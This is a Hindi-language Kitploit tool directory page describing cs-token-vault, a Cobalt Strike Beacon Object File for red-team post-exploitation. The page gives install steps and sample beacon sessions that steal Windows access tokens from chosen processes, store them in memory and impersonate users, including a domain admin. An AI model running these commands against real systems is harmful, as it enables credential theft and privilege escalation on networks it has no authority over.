Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cs-token-vault — इन-मेमोरी टोकन वॉल्ट BOF फॉर Cobalt Strike | Kitploit
उपकरण/GitHubGitHub/henkru/cs-token-vault
प्रमाणीकरण और प्राधिकरणभेद्यता परीक्षण फ्रेमवर्कविशेषाधिकार वृद्धिपोस्ट-शोषणरेड टीमिंग
GitHubhenkru/cs-token-vault

cs-token-vault

इन-मेमोरी टोकन वॉल्ट BOF फॉर Cobalt Strike

रिपॉजिटरी देखें
1512684 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Cobalt Strike के लिए Token Vault BOF

यह Beacon Object File (BOF) चुराए गए/डुप्लिकेट किए गए Windows एक्सेस टोकनों के लिए इन-मेमोरी स्टोरेज बनाता है, जो आपको निम्न की अनुमति देता है:

  • पहले से चुराए गए टोकनों को बिना दोबारा डुप्लिकेट किए हॉट स्वैप/पुनः उपयोग करें।
  • किसी व्यक्ति के लॉग आउट होने की स्थिति में बाद में उपयोग के लिए टोकन स्टोर करें।

स्थापना

  1. नवीनतम रिलीज़ build डाउनलोड करें या इसे make all से बनाएँ।
  2. अपने Cobalt Strike क्लाइंट में token-vault.cna एग्रेसर स्क्रिप्ट लोड करें।

उपयोग

root@kitploit:~
beacon> help token-vault
Available Commands:
    Create a new token vault:    token-vault create
    Steal and store tokens:      token-vault steal <comma separated list of PIDs> [vault-id]
    Use the stored token:        token-vault use <token-id> [vault-id]
    Show the stored tokens:      token-vault show [vault-id]
    Remove the stored token:     token-vault remove <token-id> [vault-id]
    Remove all tokens:           token-vault remove-all [vault-id]
    Set the default token vault: token-vault set <vault-id>

वॉल्ट निर्माण

token-vault create कमांड beacon के हीप से एक खाली वॉल्ट आवंटित करता है। प्राप्त आउटपुट में वॉल्ट का मेमोरी पता (उर्फ वॉल्ट आईडी) होता है, जिसका उपयोग अन्य token-vault कमांडों के लिए वॉल्ट निर्दिष्ट करने के लिए किया जाता है।

root@kitploit:~
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610

इसके अतिरिक्त, एक विशिष्ट वॉल्ट आईडी को डिफ़ॉल्ट वॉल्ट के रूप में सेट किया जा सकता है, जिसका उपयोग तब किया जाता है जब कोई token-vault कमांड वॉल्ट आईडी शामिल नहीं करता है।

root@kitploit:~
beacon> token-vault set 0000000000C31610

यह ध्यान देना महत्वपूर्ण है कि कॉन्फ़िगर किए गए डिफ़ॉल्ट वॉल्ट Cobalt Strike क्लाइंट के अंदर रहते हैं और क्लाइंट के बीच साझा नहीं किए जाते हैं।

टोकन चुराएँ

token-vault steal कमांड दी गई प्रक्रियाओं के टोकनों की नकल (डुप्लिकेट) करता है और उन्हें वॉल्ट में संग्रहीत करता है।

root@kitploit:~
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin

संग्रहीत टोकन दिखाएँ

root@kitploit:~
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited

टोकन उपयोग करें

token-vault use कमांड वॉल्ट से एक टोकन का प्रतिरूपण (impersonate) करता है। यदि टोकन मौजूद नहीं है, तो इसे चुराकर वॉल्ट में संग्रहीत किया जाएगा।

root@kitploit:~
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
root@kitploit:~
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da

टोकन हटाएँ

token-vault remove कमांड वॉल्ट से एक संग्रहीत टोकन को हटाता है।

root@kitploit:~
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600

इसके अतिरिक्त, token-vault remove-all कमांड एक साथ सभी टोकन हटा देता है।

टूल डाउनलोड करें